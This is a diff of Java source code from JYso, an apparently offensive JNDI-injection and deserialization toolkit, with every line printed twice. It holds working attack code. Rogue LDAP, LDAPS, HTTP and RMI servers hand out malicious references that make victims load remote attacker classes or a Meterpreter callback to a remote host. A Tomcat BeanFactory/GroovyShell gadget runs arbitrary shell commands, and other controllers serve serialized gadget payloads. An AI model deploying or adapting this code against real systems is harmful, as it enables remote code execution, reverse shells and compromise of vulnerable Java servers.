"listen-ldaps", "listen-ldaps",
null, null,
Integer.parseInt(String.valueOf(Config.ldapsPort)), Integer.parseInt(String.valueOf(Config.ldapsPort)),
serverSSLUtil.createSSLServerSocketFactory(), serverSSLUtil.createSSLServerSocketFactory(),
clientSSLUtil.createSSLSocketFactory() clientSSLUtil.createSSLSocketFactory()
)); ));
config.addInMemoryOperationInterceptor(new LdapServer()); config.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening(); ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "...")); System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
} catch (Exception e) { } catch (Exception e) {
log.error("e: ", e); log.error("e: ", e);
} }
} }
} }
+41 -41
View File
@@ -1,41 +1,41 @@
package com.qi4l.JYso; package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload; import com.qi4l.JYso.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap; import org.apache.commons.collections4.map.CaseInsensitiveMap;
import static com.qi4l.JYso.gadgets.Config.Config.logo; import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter { public class Starter {
// 用于存储所有的ObjectPayload类 // 用于存储所有的ObjectPayload类
public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>(); public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
public static boolean JYsoMode = false; public static boolean JYsoMode = false;
static { static {
for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) { for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz); caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
} }
} }
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务 // 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) { if (args.length > 0 && args[0].equals("-j")) {
logo(); logo();
Config.applyCmdArgs(args); Config.applyCmdArgs(args);
LdapServer.start(); LdapServer.start();
HTTPServer.start(); HTTPServer.start();
if (Config.TLSProxy) { if (Config.TLSProxy) {
LdapsServer.start(); LdapsServer.start();
} }
RMIServer.start(); RMIServer.start();
} }
// 如果参数中包含-y,则启动 ysoserial // 如果参数中包含-y,则启动 ysoserial
if (args.length > 0 && args[0].equals("-y")) { if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true; JYsoMode = true;
ysoserial.run(args); ysoserial.run(args);
} }
} }
} }
@@ -1,173 +1,173 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.URLDNS; import com.qi4l.JYso.gadgets.URLDNS;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.Meterpreter; import com.qi4l.JYso.template.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import java.net.URL; import java.net.URL;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Base64; import java.util.Base64;
import java.util.Locale; import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi; import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/basic"}) @LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController { public class BasicController implements LdapController {
private static final Logger log = LogManager.getLogger(BasicController.class); private static final Logger log = LogManager.getLogger(BasicController.class);
private static String payloadType; private static String payloadType;
// 用于对外提供动态字节码的 HTTP 服务器基础路径。 // 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase; private final String codebase = Config.codeBase;
// 存放从 LDAP 路径中解析出的命令或连接参数。 // 存放从 LDAP 路径中解析出的命令或连接参数。
private String[] params = new String[0]; private String[] params = new String[0];
private GadgetType gadgetType; private GadgetType gadgetType;
static String getStringQ(String base, int index) { static String getStringQ(String base, int index) {
int cursor = 0; int cursor = 0;
int found = 0; int found = 0;
while (cursor < base.length()) { while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor); int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length(); if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) { if (nextSlash > cursor) {
if (found == index) { if (found == index) {
return base.substring(cursor, nextSlash); return base.substring(cursor, nextSlash);
} }
found++; found++;
} }
cursor = nextSlash + 1; cursor = nextSlash + 1;
} }
return ""; return "";
} }
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。 // 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try { try {
Entry entry = new Entry(base); Entry entry = new Entry(base);
String className = resolvePayloadClass(); String className = resolvePayloadClass();
URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class"); URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class");
System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset()); System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
entry.addAttribute("javaClassName", "foo"); entry.addAttribute("javaClassName", "foo");
entry.addAttribute("javaCodeBase", codebase); entry.addAttribute("javaCodeBase", codebase);
entry.addAttribute("objectClass", "javaNamingReference"); entry.addAttribute("objectClass", "javaNamingReference");
entry.addAttribute("javaFactory", className); entry.addAttribute("javaFactory", className);
result.sendSearchEntry(entry); result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er)); log.error(String.valueOf(er));
} }
} }
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。 // 解析请求路径,确定 payload 类型并准备执行时所需的参数。
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Reference Links "); System.out.println("- JNDI Remote Reference Links ");
try { try {
String normalized = base.replace('\\', '/'); String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1); payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) { if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
} }
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized); gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized); params = resolveParams(normalized);
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base); throw new IncorrectParamsException("Incorrect params >> " + base);
} }
} }
// 根据 payload 标识返回需要加载的实现类名称。 // 根据 payload 标识返回需要加载的实现类名称。
private String resolvePayloadClass() throws Exception { private String resolvePayloadClass() throws Exception {
if (payloadType.contains("E-")) { if (payloadType.contains("E-")) {
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType))); Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
return echoClass.getName(); return echoClass.getName();
} }
if (payloadType.contains("M-")) { if (payloadType.contains("M-")) {
return Gadgets.createClassB(suffixAfterDash(payloadType)); return Gadgets.createClassB(suffixAfterDash(payloadType));
} }
if (payloadType.contains("command")) { if (payloadType.contains("command")) {
if (params.length == 0) { if (params.length == 0) {
throw new IncorrectParamsException("Missing command parameters."); throw new IncorrectParamsException("Missing command parameters.");
} }
// 待写 // 待写
} }
if (payloadType.contains("msf")) { if (payloadType.contains("msf")) {
return Meterpreter.class.getName(); return Meterpreter.class.getName();
} }
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
} }
// 读取路径中的 gadget 片段并转换为枚举值。 // 读取路径中的 gadget 片段并转换为枚举值。
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException { private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2); String segment = segment(base, 2);
if (segment.isEmpty()) { if (segment.isEmpty()) {
return null; return null;
} }
try { try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT)); return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) { } catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
} }
} }
// 根据 gadget 类型构建命令行或回连配置参数。 // 根据 gadget 类型构建命令行或回连配置参数。
private String[] resolveParams(String base) throws Exception { private String[] resolveParams(String base) throws Exception {
if (gadgetType == null) { if (gadgetType == null) {
return new String[0]; return new String[0];
} }
switch (gadgetType) { switch (gadgetType) {
case base64: case base64:
String cmd = Utils.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset()); System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd}; return new String[]{cmd};
case shell: case shell:
String encoded = Utils.getCmdFromBase(base); String encoded = Utils.getCmdFromBase(base);
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8); String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset()); System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" "); return decoded.split(" ");
case msf: case msf:
String[] results = Utils.getIPAndPortFromBase(base); String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0]; Config.rhost = results[0];
Config.rport = results[1]; Config.rport = results[1];
System.out.println(" RemoteHost: " + results[0]); System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotePort: " + results[1]); System.out.println(" RemotePort: " + results[1]);
return results; return results;
default: default:
return new String[0]; return new String[0];
} }
} }
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。 // 提取路径中第 index 个非空段,保持与原解析逻辑一致。
private String segment(String base, int index) { private String segment(String base, int index) {
return getStringQ(base, index); return getStringQ(base, index);
} }
// 返回连字符后的子串,用于解析自定义类名。 // 返回连字符后的子串,用于解析自定义类名。
private String suffixAfterDash(String value) { private String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-'); int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value; return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
} }
} }
@@ -1,72 +1,72 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
/* /*
* Requires: * Requires:
* - Tomcat and Groovy in classpath * - Tomcat and Groovy in classpath
* *
* @author https://twitter.com/orange_8361 and https://github.com/welk1n * @author https://twitter.com/orange_8361 and https://github.com/welk1n
* *
* Groovy 语法参考: * Groovy 语法参考:
* - https://xz.aliyun.com/t/8231#toc-7 * - https://xz.aliyun.com/t/8231#toc-7
* - https://my.oschina.net/jjyuangu/blog/1815945 * - https://my.oschina.net/jjyuangu/blog/1815945
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/ */
@LdapMapping(uri = {"/groovy"}) @LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController { public class GroovyController implements LdapController {
private String[] params; private String[] params;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base); Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate")); ref.add(new StringRefAddr("forceString", "x=evaluate"));
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" + " ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" + " } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" + " ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }"; " }";
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Utils.serialize(ref)); e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Reference Links + Groovy"); System.out.println("- JNDI LDAP Local Reference Links + Groovy");
try { try {
int firstIndex = base.indexOf("/"); int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1); int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex); String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
String cmd = Utils.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base); throw new IncorrectParamsException("Incorrect params >> " + base);
} }
} }
} }
@@ -1,13 +1,13 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController { public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
} }
@@ -1,12 +1,12 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import java.lang.annotation.ElementType; import java.lang.annotation.ElementType;
import java.lang.annotation.Retention; import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy; import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target; import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME) @Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE) @Target(ElementType.TYPE)
public @interface LdapMapping { public @interface LdapMapping {
String[] uri(); String[] uri();
} }
@@ -1,65 +1,65 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/memoryxxe"}) @LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController { public class MemoryXXEController implements LdapController {
private String[] params; private String[] params;
private GadgetType gadgetType; private GadgetType gadgetType;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base); Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", params[0])); ref.add(new StringRefAddr("pathname", params[0]));
e.addAttribute("javaSerializedData", Utils.serialize(ref)); e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE"); System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
try { try {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int fistIndex = base.indexOf("/"); int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1); int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
int thirdIndex = base.indexOf("/", secondIndex + 1); int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) { if (thirdIndex != -1) {
try { try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
} }
} }
if (gadgetType == GadgetType.base64) { if (gadgetType == GadgetType.base64) {
String cmd = Utils.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} }
} catch (Exception e) { } catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base); throw new IncorrectParamsException("Incorrect params: " + base);
} }
} }
} }
@@ -1,118 +1,118 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.enumtypes.PayloadType; import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload; import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer; import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.LogManager;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.util.Base64; import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1; import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
@LdapMapping(uri = {"/deserialization"}) @LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController { public class SerializedDataController implements LdapController {
private static final Logger log = LogManager.getLogger(SerializedDataController.class); private static final Logger log = LogManager.getLogger(SerializedDataController.class);
public static String gadgetType; public static String gadgetType;
public static String cmd11; public static String cmd11;
public static GadgetType gadgetType1; public static GadgetType gadgetType1;
private String params; private String params;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base); Entry e = new Entry(base);
byte[] bytes; byte[] bytes;
try { try {
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload<?> payload = payloadClass.newInstance(); ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(params); Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) { if (SerializedDataController.gadgetType.equals("JRE8u20")) {
bytes = (byte[]) object; bytes = (byte[]) object;
} else { } else {
ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayOutputStream out = new ByteArrayOutputStream();
bytes = Serializer.serialize(object, out); bytes = Serializer.serialize(object, out);
} }
e.addAttribute("javaClassName", "foo"); e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", bytes); e.addAttribute("javaSerializedData", bytes);
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(er)); log.error(String.valueOf(er));
} }
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
System.out.println("- JNDI Deserialization Links "); System.out.println("- JNDI Deserialization Links ");
try { try {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int firstIndex = base.indexOf("/"); int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1); int secondIndex = base.indexOf("/", firstIndex + 1);
try { try {
gadgetType = base.substring(firstIndex + 1, secondIndex); gadgetType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex)); throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
} }
int thirdIndex = base.indexOf("/", secondIndex + 1); int thirdIndex = base.indexOf("/", secondIndex + 1);
int fourIndex = base.indexOf("/", thirdIndex + 1); int fourIndex = base.indexOf("/", thirdIndex + 1);
String Ty1 = base.substring(thirdIndex + 1, fourIndex); String Ty1 = base.substring(thirdIndex + 1, fourIndex);
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase()); gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在,则把其设置成为字符串的长度 // 若第三个斜杠不存在,则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length(); if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType; PayloadType payloadType;
try { try {
